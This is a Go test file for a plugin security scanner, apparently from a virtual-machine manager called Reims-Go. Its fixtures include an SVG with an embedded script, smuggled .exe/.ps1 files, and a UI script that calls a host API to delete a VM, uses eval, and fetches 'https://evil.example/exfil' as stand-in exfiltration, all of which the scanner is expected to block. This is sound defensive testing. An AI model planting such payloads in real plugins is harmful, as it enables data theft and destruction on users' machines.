Files
Reims-Go/internal/plugin/scanner_test.go

352 lines
13 KiB
Go

package plugin_test
import (
"crypto/ed25519"
"encoding/json"
"os"
"path/filepath"
"strings"
"testing"
"github.com/Nwflower/reims-go/internal/plugin"
)
func TestScanDirectoryCleanL1Theme(t *testing.T) {
dir := t.TempDir()
man, _ := json.Marshal(plugin.Manifest{
Schema: 1,
ID: "test.theme.clean",
Version: "1.0.0",
Name: plugin.LocalizedText{ZhCN: "纯净主题", EnUS: "Clean Theme"},
Description: plugin.LocalizedText{ZhCN: "无脚本纯样式主题", EnUS: "Pure CSS theme"},
Publisher: "tester",
License: "MIT",
Contributes: plugin.Contributes{
Themes: []plugin.ThemeContribution{{
ID: "test.theme.clean",
Name: plugin.LocalizedText{EnUS: "Clean"},
Stylesheet: "theme.css",
}},
},
})
_ = os.WriteFile(filepath.Join(dir, "plugin.json"), man, 0o644)
_ = os.WriteFile(filepath.Join(dir, "theme.css"), []byte(`.rg-p-sidebar { background: var(--surface-sidebar); }`), 0o644)
_ = os.WriteFile(filepath.Join(dir, "icon.svg"), []byte(`<svg xmlns="http://www.w3.org/2000/svg"><circle r="5"/></svg>`), 0o644)
rep := plugin.ScanDirectory(dir, "0.2.8", plugin.ScanOptions{})
if !rep.Passed || rep.HardBlocked {
t.Fatalf("expected clean L1 theme to pass, got hard findings: %+v", rep.HardFindings)
}
if rep.Tier != plugin.TierL1 {
t.Fatalf("tier = %s, want L1", rep.Tier)
}
if rep.NativeExecNotice.HasAny() {
t.Fatalf("L1 theme should not carry native exec notice")
}
if rep.NeedsApproval {
t.Fatalf("clean L1 theme should not require approval")
}
}
func TestScanBlocksSmuggledBinariesInL1(t *testing.T) {
dir := t.TempDir()
man, _ := json.Marshal(plugin.Manifest{
Schema: 1,
ID: "test.theme.smuggle",
Version: "1.0.0",
Name: plugin.LocalizedText{EnUS: "Smuggle"},
})
_ = os.WriteFile(filepath.Join(dir, "plugin.json"), man, 0o644)
_ = os.WriteFile(filepath.Join(dir, "helper.ps1"), []byte(`Write-Host "hi"`), 0o644)
_ = os.WriteFile(filepath.Join(dir, "payload.exe"), []byte("MZfake"), 0o644)
rep := plugin.ScanDirectory(dir, "0.2.8", plugin.ScanOptions{})
if !rep.HardBlocked || rep.Passed {
t.Fatalf("expected L1 package with .ps1/.exe to be hard-blocked")
}
if len(rep.Executables) != 2 {
t.Fatalf("expected 2 executables recorded, got %d", len(rep.Executables))
}
foundBin := 0
for _, f := range rep.HardFindings {
if f.Check == "forbidden-binary" {
foundBin++
}
}
if foundBin != 2 {
t.Fatalf("expected 2 forbidden-binary hard findings, got %d (%+v)", foundBin, rep.HardFindings)
}
// InstallArchive must also hard-reject the zipped package.
zipPath := makePluginZip(t, map[string][]byte{
"plugin.json": man,
"helper.ps1": []byte(`Write-Host "hi"`),
}, nil, false)
layout := plugin.NewPluginsLayout(t.TempDir())
if _, err := plugin.InstallArchive(layout, zipPath, plugin.PackageInstallOptions{
HostVersion: "0.2.8",
AllowUnsigned: true,
}); err == nil || !strings.Contains(err.Error(), "static security gate") {
t.Fatalf("expected InstallArchive hard gate rejection, got: %v", err)
}
}
func TestScanBlocksSVGActiveContent(t *testing.T) {
dir := t.TempDir()
man, _ := json.Marshal(plugin.Manifest{
Schema: 1,
ID: "test.theme.badsvg",
Version: "1.0.0",
Name: plugin.LocalizedText{EnUS: "Bad SVG"},
})
_ = os.WriteFile(filepath.Join(dir, "plugin.json"), man, 0o644)
_ = os.WriteFile(filepath.Join(dir, "evil.svg"), []byte(`<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>`), 0o644)
rep := plugin.ScanDirectory(dir, "0.2.8", plugin.ScanOptions{})
if !rep.HardBlocked {
t.Fatal("expected SVG with <script> to be hard-blocked")
}
found := false
for _, f := range rep.HardFindings {
if f.Check == "svg-script" && f.Target == "evil.svg" {
found = true
}
}
if !found {
t.Fatalf("expected svg-script finding, got %+v", rep.HardFindings)
}
}
func TestScanBlocksUIScriptHostEscapeAndUndeclaredNet(t *testing.T) {
dir := t.TempDir()
man, _ := json.Marshal(plugin.Manifest{
Schema: 1,
ID: "test.theme.badjs",
Version: "1.0.0",
Name: plugin.LocalizedText{EnUS: "Bad JS"},
Permissions: []string{"ui:script"},
Entry: plugin.Entry{UIScript: "fx.js"},
})
_ = os.WriteFile(filepath.Join(dir, "plugin.json"), man, 0o644)
_ = os.WriteFile(filepath.Join(dir, "fx.js"), []byte(`
window.go.app.App.DeleteVM("x");
eval("1+1");
fetch("https://evil.example/exfil");
`), 0o644)
rep := plugin.ScanDirectory(dir, "0.2.8", plugin.ScanOptions{})
if !rep.HardBlocked {
t.Fatal("expected host-escape / eval / undeclared fetch to be hard-blocked")
}
checks := map[string]bool{}
for _, f := range rep.HardFindings {
checks[f.Check] = true
}
if !checks["ui-script"] || !checks["ui-script-undeclared-net"] {
t.Fatalf("expected both ui-script and ui-script-undeclared-net findings, got %+v", rep.HardFindings)
}
}
func TestScanL3SidecarTruthfulBoundaryAndUnlistedBinary(t *testing.T) {
dir := t.TempDir()
man, _ := json.Marshal(plugin.Manifest{
Schema: 1,
ID: "test.driver.sidecar",
Version: "1.0.0",
Name: plugin.LocalizedText{ZhCN: "测试驱动", EnUS: "Test Driver"},
Publisher: "community-dev",
License: "Apache-2.0",
Entry: plugin.Entry{Sidecar: "bin/driver.exe"},
Permissions: []string{"driver:vm", "vm:read", "log:read"},
Contributes: plugin.Contributes{
GuestDrivers: []plugin.GuestDriverContribution{
{ID: "drv1", Name: plugin.LocalizedText{EnUS: "D1"}, RuntimeKind: "qemu"},
{ID: "drv2", Name: plugin.LocalizedText{EnUS: "D2"}, RuntimeKind: "qemu"},
{ID: "drv3", Name: plugin.LocalizedText{EnUS: "D3"}, RuntimeKind: "qemu"},
{ID: "drv4", Name: plugin.LocalizedText{EnUS: "D4"}, RuntimeKind: "qemu"},
},
},
})
_ = os.MkdirAll(filepath.Join(dir, "bin"), 0o755)
_ = os.WriteFile(filepath.Join(dir, "plugin.json"), man, 0o644)
_ = os.WriteFile(filepath.Join(dir, "bin", "driver.exe"), []byte("MZ-valid-sidecar"), 0o644)
rep := plugin.ScanDirectory(dir, "0.2.8", plugin.ScanOptions{})
if !rep.Passed || rep.HardBlocked {
t.Fatalf("expected valid L3 sidecar to pass static gate, got hard: %+v", rep.HardFindings)
}
if rep.Tier != plugin.TierL3 || !rep.NeedsApproval {
t.Fatalf("expected TierL3 and NeedsApproval=true, got tier=%s needsApproval=%v", rep.Tier, rep.NeedsApproval)
}
if !rep.NativeExecNotice.HasAny() || !strings.Contains(rep.NativeExecNotice.ZhCN, "Windows") {
t.Fatalf("expected truthful Windows privilege notice for L3, got %+v", rep.NativeExecNotice)
}
if len(rep.Executables) != 1 || !rep.Executables[0].Declared || rep.Executables[0].SHA256 == "" {
t.Fatalf("unexpected executables inventory: %+v", rep.Executables)
}
// Verify >3 examples folding on driver:vm capability.
var drvCap *plugin.CapabilityItem
for i := range rep.Capabilities {
if rep.Capabilities[i].ID == "driver:vm" {
drvCap = &rep.Capabilities[i]
}
}
if drvCap == nil || len(drvCap.Examples) != 3 || drvCap.ExtraCount != 1 {
t.Fatalf("expected driver:vm capability with 3 examples + 1 folded, got %+v", drvCap)
}
summary := rep.SummaryText("zh-CN")
if !strings.Contains(summary, "另有 1 项已折叠") || !strings.Contains(summary, "sha256=") {
t.Fatalf("unexpected SummaryText:\n%s", summary)
}
// Adding an unlisted helper DLL/EXE inside an L3 package must be hard-blocked.
_ = os.WriteFile(filepath.Join(dir, "bin", "sneaky.dll"), []byte("MZ-sneaky"), 0o644)
rep2 := plugin.ScanDirectory(dir, "0.2.8", plugin.ScanOptions{})
if !rep2.HardBlocked {
t.Fatal("expected unlisted .dll inside L3 package to be hard-blocked")
}
foundUnlisted := false
for _, f := range rep2.HardFindings {
if f.Check == "unlisted-executable" && f.Target == "bin/sneaky.dll" {
foundUnlisted = true
}
}
if !foundUnlisted {
t.Fatalf("expected unlisted-executable finding, got %+v", rep2.HardFindings)
}
}
func TestScanArchiveSignedOfficialTrust(t *testing.T) {
pub, priv, err := ed25519.GenerateKey(nil)
if err != nil {
t.Fatal(err)
}
man, _ := json.Marshal(plugin.Manifest{
Schema: 1,
ID: "official.theme.test",
Version: "1.0.0",
Name: plugin.LocalizedText{EnUS: "Official Theme"},
})
zipPath := makePluginZip(t, map[string][]byte{"plugin.json": man}, priv, false)
rep, err := plugin.ScanArchive(zipPath, t.TempDir(), "0.2.8", plugin.ScanOptions{
Keyring: []plugin.SigningKey{{
KeyID: "official",
Publisher: "reims-go",
Trust: plugin.TrustOfficial,
PublicKey: pub,
}},
})
if err != nil {
t.Fatalf("ScanArchive error: %v", err)
}
if !rep.Passed || rep.Trust != plugin.TrustOfficial {
t.Fatalf("expected official passing report, got passed=%v trust=%s hard=%+v", rep.Passed, rep.Trust, rep.HardFindings)
}
}
func TestCheckCSSAgainstContractIgnoresCommentsStringsAndURLs(t *testing.T) {
contract := plugin.UIContract{
UIAPI: "1.0.0",
Parts: []string{"rg-p-shell"},
Tokens: []string{"--surface-sidebar"},
}
cleanCSS := `
/* layer.background handled by studio.js — var(--not-a-real-token) */
.rg-p-shell {
background-color: var(--surface-sidebar);
background-image: url(assets/bg.png);
}
.rg-p-shell::after {
content: "v1.0.beta\\\r\n.continued-string-class";
background: url("assets/overlay.webp");
}
`
if issues := plugin.CheckCSSAgainstContract(cleanCSS, contract); len(issues) != 0 {
t.Fatalf("expected no issues on clean CSS with comments/urls/strings, got: %v", issues)
}
dirtyCSS := cleanCSS + "\n.non-contract-class { color: var(--unknown-token); }\n"
issues := plugin.CheckCSSAgainstContract(dirtyCSS, contract)
if len(issues) != 2 {
t.Fatalf("expected 2 issues on real violations, got: %v", issues)
}
}
func TestSHA256SumsRejectsDuplicateAndBackslashAndManifestRejectsPaddedVersion(t *testing.T) {
// ValidateManifest rejects surrounding whitespace in version.
if err := plugin.ValidateManifest(plugin.Manifest{
Schema: 1,
ID: "test.theme.ver",
Version: " 1.0.0 ",
Name: plugin.LocalizedText{EnUS: "Ver"},
}, "0.2.11", false); err == nil {
t.Fatal("expected whitespace-padded manifest version to be rejected")
}
// Duplicate SHA256SUMS lines and backslash separators must be rejected.
dir := t.TempDir()
man, _ := json.Marshal(plugin.Manifest{
Schema: 1,
ID: "test.theme.sums",
Version: "1.0.0",
Name: plugin.LocalizedText{EnUS: "Sums"},
})
_ = os.WriteFile(filepath.Join(dir, "plugin.json"), man, 0o644)
h := sha256HexBytes(man)
_ = os.WriteFile(filepath.Join(dir, "SHA256SUMS"), []byte(h+" plugin.json\n"+h+" plugin.json\n"), 0o644)
if rep := plugin.ScanDirectory(dir, "0.2.11", plugin.ScanOptions{RequireChecksums: true}); !rep.HardBlocked {
t.Fatal("expected duplicate SHA256SUMS entry to be hard-blocked")
}
_ = os.WriteFile(filepath.Join(dir, "SHA256SUMS"), []byte(h+" sub\\plugin.json\n"), 0o644)
if rep := plugin.ScanDirectory(dir, "0.2.11", plugin.ScanOptions{RequireChecksums: true}); !rep.HardBlocked {
t.Fatal("expected backslash path in SHA256SUMS to be hard-blocked")
}
}
func TestSHA256SumsSupportsFilenamesWithSpacesAndTruthfulUIScriptCopy(t *testing.T) {
man, _ := json.Marshal(plugin.Manifest{
Schema: 1,
ID: "test.theme.spaces",
Version: "1.0.0",
Name: plugin.LocalizedText{ZhCN: "空格资源主题", EnUS: "Spaced Asset Theme"},
Publisher: "tester",
License: "MIT",
Permissions: []string{"ui:script"},
Contributes: plugin.Contributes{
Themes: []plugin.ThemeContribution{{
ID: "test.theme.spaces",
Name: plugin.LocalizedText{EnUS: "Spaced"},
Stylesheet: "theme.css",
UIScript: "studio.js",
}},
},
})
zipPath := makePluginZip(t, map[string][]byte{
"plugin.json": man,
"theme.css": []byte(".rg-p-shell { background-image: url(\"assets/my wallpaper.png\"); }"),
"studio.js": []byte("sdk.on('view.changed', () => {});"),
"assets/my wallpaper.png": []byte("png-bytes"),
}, nil, false)
rep, err := plugin.ScanArchive(zipPath, t.TempDir(), "0.2.11", plugin.ScanOptions{RequireChecksums: true})
if err != nil {
t.Fatalf("ScanArchive: %v", err)
}
if rep.HardBlocked || !rep.Passed {
t.Fatalf("expected spaced asset package to pass checksum & scan, hard=%+v", rep.HardFindings)
}
var uiScriptCap *plugin.CapabilityItem
for i := range rep.Capabilities {
if rep.Capabilities[i].ID == "ui:script" {
uiScriptCap = &rep.Capabilities[i]
}
}
if uiScriptCap == nil {
t.Fatalf("expected ui:script capability item, got %+v", rep.Capabilities)
}
if strings.Contains(uiScriptCap.Summary.ZhCN, "受限主题沙盒") || strings.Contains(uiScriptCap.Summary.EnUS, "inside the theme sandbox") {
t.Fatalf("ui:script copy must not falsely claim theme sandbox: %+v", uiScriptCap.Summary)
}
}